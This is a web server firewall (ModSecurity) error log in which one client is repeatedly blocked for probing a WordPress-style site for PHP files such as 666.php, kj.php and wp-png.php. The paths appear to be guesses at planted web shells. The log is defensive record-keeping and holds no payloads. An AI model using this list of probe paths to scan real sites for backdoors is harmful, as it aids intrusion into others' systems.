[Wed Apr 15 21:53:07.161453 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:54003] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ad-YQ3g-gnM2Ga0cGACIPgAAAQ8"]
[Wed Apr 15 21:53:08.071992 2026] [:error] [pid 30958:tid 31032] [client 172.161.107.89:59461] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad-YRMeG3wSKTO7NWFHS1AAAANA"]
[Wed Apr 15 21:53:09.739462 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:59672] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad-YRRcEkLCmvF0fjDcRogAAAII"]
[Wed Apr 15 21:53:10.703817 2026] [:error] [pid 31053:tid 31070] [client 172.161.107.89:41610] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad-YRhcEkLCmvF0fjDcRpgAAAI4"]
[Wed Apr 15 21:53:11.998470 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:61431] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad-YRxcEkLCmvF0fjDcRrQAAAJc"]
[Wed Apr 15 21:53:13.699756 2026] [:error] [pid 23913:tid 23928] [client 172.161.107.89:40260] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "ad-YSVUaK3MLdSaLOyi1IwAAAU0"]
[Wed Apr 15 21:53:16.091945 2026] [:error] [pid 30958:tid 31035] [client 172.161.107.89:57004] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "ad-YTMeG3wSKTO7NWFHS3wAAANM"]
[Wed Apr 15 21:53:17.381952 2026] [:error] [pid 31053:tid 31060] [client 172.161.107.89:41631] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "ad-YTRcEkLCmvF0fjDcRvAAAAIQ"]
[Wed Apr 15 21:53:18.651249 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:59671] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "ad-YThcEkLCmvF0fjDcRxwAAAJI"]
[Wed Apr 15 21:53:20.210342 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:41646] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "ad-YUBcEkLCmvF0fjDcR1QAAAIo"]
[Wed Apr 15 21:53:22.355724 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:1649] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "ad-YUseG3wSKTO7NWFHS8gAAANQ"]
[Wed Apr 15 21:53:25.601286 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:35804] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "ad-YVRcEkLCmvF0fjDcR4AAAAIY"]
[Wed Apr 15 21:53:29.935040 2026] [:error] [pid 30958:tid 31019] [client 172.161.107.89:43764] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "ad-YWceG3wSKTO7NWFHTAAAAAMM"]
[Wed Apr 15 21:53:33.201470 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:59668] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "ad-YXRcEkLCmvF0fjDcR7wAAAJI"]
[Wed Apr 15 21:53:34.426482 2026] [:error] [pid 30956:tid 30971] [client 172.161.107.89:43666] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "ad-YXkBGUpjaWntNYq2VbAAAAAs"]
[Wed Apr 15 21:53:35.542797 2026] [:error] [pid 23913:tid 23924] [client 172.161.107.89:41416] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "ad-YX1UaK3MLdSaLOyi1QQAAAUk"]
[Wed Apr 15 21:53:36.822468 2026] [:error] [pid 30957:tid 30992] [client 172.161.107.89:36272] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "ad-YYH5gwVEVXHfVSiqsRAAAAEM"]
[Wed Apr 15 21:53:38.679081 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:61862] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ad-YYkBGUpjaWntNYq2VbgAAABA"]
[Wed Apr 15 21:53:39.635856 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:54940] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ad-YYxcEkLCmvF0fjDcSCgAAAIM"]
[Wed Apr 15 21:53:40.914006 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:61852] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ad-YZBcEkLCmvF0fjDcSEwAAAJU"]
[Wed Apr 15 21:53:41.777067 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:49949] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "ad-YZRcEkLCmvF0fjDcSGQAAAII"]
[Wed Apr 15 21:53:42.493526 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:34458] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "ad-YZhcEkLCmvF0fjDcSHQAAAIo"]
[Wed Apr 15 21:53:43.602012 2026] [:error] [pid 30957:tid 31006] [client 172.161.107.89:56954] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "ad-YZ35gwVEVXHfVSiqsRwAAAFE"]
[Wed Apr 15 21:53:44.377159 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:61449] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "ad-YaBcEkLCmvF0fjDcSJgAAAIk"]
[Wed Apr 15 21:53:45.609135 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:57024] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "ad-YaXg-gnM2Ga0cGACIYgAAARI"]
[Wed Apr 15 21:53:47.538958 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:61490] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "ad-Ya3g-gnM2Ga0cGACIbAAAAQU"]
[Wed Apr 15 21:53:48.700016 2026] [:error] [pid 23913:tid 23918] [client 172.161.107.89:57182] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "ad-YbFUaK3MLdSaLOyi1SwAAAUM"]
[Wed Apr 15 21:53:49.472715 2026] [:error] [pid 23913:tid 23920] [client 172.161.107.89:57073] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "ad-YbVUaK3MLdSaLOyi1TAAAAUU"]
[Wed Apr 15 21:53:50.243657 2026] [:error] [pid 23913:tid 23924] [client 172.161.107.89:52621] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "ad-YblUaK3MLdSaLOyi1TgAAAUk"]
[Wed Apr 15 21:53:50.964314 2026] [:error] [pid 30957:tid 30995] [client 172.161.107.89:64766] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ad-Ybn5gwVEVXHfVSiqsTAAAAEY"]
[Wed Apr 15 21:53:51.931496 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:58964] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ad-Yb35gwVEVXHfVSiqsTwAAAFY"]
[Wed Apr 15 21:53:52.663581 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:58267] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ad-YcBcEkLCmvF0fjDcSOQAAAIo"]
[Wed Apr 15 21:53:53.524739 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:56928] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ad-YcRcEkLCmvF0fjDcSOgAAAII"]
[Wed Apr 15 21:53:55.947694 2026] [:error] [pid 30957:tid 31007] [client 172.161.107.89:35729] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "ad-Yc35gwVEVXHfVSiqsUAAAAFI"]
[Wed Apr 15 21:54:00.068678 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:34527] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blogs.php"] [unique_id "ad-YeEBGUpjaWntNYq2VhQAAABI"]
[Wed Apr 15 21:54:11.380308 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:57030] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "ad-Yg35gwVEVXHfVSiqsgQAAAFU"]
[Wed Apr 15 21:54:11.916892 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:53339] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "ad-Yg3g-gnM2Ga0cGACIewAAAQE"]
[Wed Apr 15 21:54:12.557324 2026] [:error] [pid 23913:tid 23919] [client 172.161.107.89:61495] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "ad-YhFUaK3MLdSaLOyi1gQAAAUQ"]
[Wed Apr 15 21:54:13.190892 2026] [:error] [pid 23913:tid 23929] [client 172.161.107.89:58950] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboute.php"] [unique_id "ad-YhVUaK3MLdSaLOyi1gwAAAU4"]
[Wed Apr 15 21:54:13.782807 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:49514] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ad-YhceG3wSKTO7NWFHTJgAAANg"]
[Wed Apr 15 21:54:14.441111 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:56242] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ad-Yhng-gnM2Ga0cGACIhAAAAQU"]
[Wed Apr 15 21:54:15.019302 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:34476] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ad-Yh3g-gnM2Ga0cGACIhQAAARc"]
[Wed Apr 15 21:54:15.514448 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:53317] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ad-Yh3g-gnM2Ga0cGACIiQAAAQ0"]
[Wed Apr 15 21:54:16.083678 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:58958] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "ad-YiHg-gnM2Ga0cGACIiwAAAQo"]
[Wed Apr 15 21:54:16.699711 2026] [:error] [pid 31053:tid 31080] [client 172.161.107.89:49512] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "ad-YiBcEkLCmvF0fjDcSagAAAJg"]
[Wed Apr 15 21:54:17.338424 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:58981] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "ad-YiXg-gnM2Ga0cGACIkwAAARU"]
[Wed Apr 15 21:54:18.101421 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:34434] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "ad-Yin5gwVEVXHfVSiqshAAAAE4"]
[Wed Apr 15 21:54:18.914834 2026] [:error] [pid 30957:tid 31002] [client 172.161.107.89:65389] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ad-Yin5gwVEVXHfVSiqsiAAAAE0"]
[Wed Apr 15 21:54:19.449007 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:53126] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ad-Yi0BGUpjaWntNYq2VnQAAABI"]
[Wed Apr 15 21:54:20.339112 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:56904] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ad-YjBcEkLCmvF0fjDcSbwAAAIg"]
[Wed Apr 15 21:54:21.006450 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:52549] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s.php"] [unique_id "ad-YjRcEkLCmvF0fjDcScgAAAJU"]
[Wed Apr 15 21:54:21.819695 2026] [:error] [pid 30957:tid 30991] [client 172.161.107.89:54949] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "ad-YjX5gwVEVXHfVSiqsjgAAAEI"]
[Wed Apr 15 21:54:22.585691 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:49977] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "ad-YjhcEkLCmvF0fjDcSdQAAAJE"]
[Wed Apr 15 21:54:23.462227 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:58773] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "ad-Yj8eG3wSKTO7NWFHTOAAAANQ"]
[Wed Apr 15 21:54:24.672406 2026] [:error] [pid 23913:tid 23933] [client 172.161.107.89:59435] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "ad-YkFUaK3MLdSaLOyi1jAAAAVI"]
[Wed Apr 15 21:54:25.278896 2026] [:error] [pid 23913:tid 23918] [client 172.161.107.89:57098] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad-YkVUaK3MLdSaLOyi1kAAAAUM"]
